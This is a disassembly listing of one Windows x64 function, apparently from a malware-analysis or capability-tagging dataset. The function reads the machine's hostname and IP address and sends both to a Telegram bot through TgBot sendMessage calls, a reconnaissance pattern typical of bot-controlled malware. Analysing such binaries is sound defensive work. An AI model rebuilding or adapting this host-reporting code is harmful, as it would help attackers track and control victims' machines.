Function at 0x140009680
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x370]
sub rsp, 0x470
mov rax, qword [0x140025040]
xor rax, rsp
mov qword [rbp + 0x360], rax
mov rsi, rdx
mov r15, rcx
mov qword [rbp + 0x48], rdx
mov ecx, 0x101
lea rdx, [rbp + 0xc0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov edx, 0xff
lea rcx, [rbp + 0x260]
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rbp + 0x260]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov r14, qword [r15]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x18], xmm0
xor r12d, r12d
mov qword [rbp + 0x28], r12
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp - 0x68]
call fcn.140013570
nop
lea rax, [rbp - 8]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movdqu xmmword [rbp - 8], xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x140009760
mov rdx, rbx
lea rcx, [rsp + 0x78]
call fcn.140013570
nop
mov rax, qword [rsi]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx]
mov qword [rbp + 0x78], rax
mov dword [rbp + 0x70], r12d
mov dword [rsp + 0x60], r12d
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 0
lea rax, [rbp + 0x18]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], 0
lea rax, [rbp - 0x68]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r12d
mov byte [rsp + 0x20], 0
lea r9, [rsp + 0x78]
lea r8, [rbp + 0x70]
lea rdx, [rbp + 0x50]
lea rcx, [r14 + 0x20]
call qword [sym.imp.TgBot.dll__sendMessage_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D]
mov rbx, qword [rbp + 0x58]
test rbx, rbx
je 0x14000980d
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14000980d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000980d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x14000984c
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009847
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009847
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x14000989c
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009897
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009897
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x68], 0
lea rcx, [rbp + 0x18]
call fcn.140011170
mov rbx, qword [r15]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r12
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp - 0x28]
call fcn.140013570
nop
lea rax, [rbp + 8]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 8], xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
lea rax, [rbp + 0x260]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140009910
lea rdx, [rbp + 0x260]
lea rcx, [rbp - 0x48]
call fcn.140013570
nop
mov rax, qword [rsi]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx]
mov qword [rbp + 0xa0], rax
mov dword [rbp + 0x98], r12d
mov dword [rsp + 0x60], r12d
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 0
lea rax, [rbp + 0x30]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], 0
lea rax, [rbp - 0x28]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r12d
mov byte [rsp + 0x20], 0
lea r9, [rbp - 0x48]
lea r8, [rbp + 0x98]
lea rdx, [rbp + 0x60]
lea rcx, [rbx + 0x20]
call qword [sym.imp.TgBot.dll__sendMessage_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D]
mov rbx, qword [rbp + 0x68]
test rbx, rbx
je 0x1400099c8
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1400099c8
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400099c8
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x140009a06
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009a01
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009a01
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140009a55
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009a50
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009a50
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x28], 0
lea rcx, [rbp + 0x30]
call fcn.140011170
nop
mov rbx, qword [rsi + 8]
test rbx, rbx
je 0x140009aa0
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140009aa0
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], edi
cmp edi, 1
jne 0x140009aa0
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rbp + 0x360]
xor rcx, rsp
call fcn.140017a00
lea r11, [rsp + 0x470]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret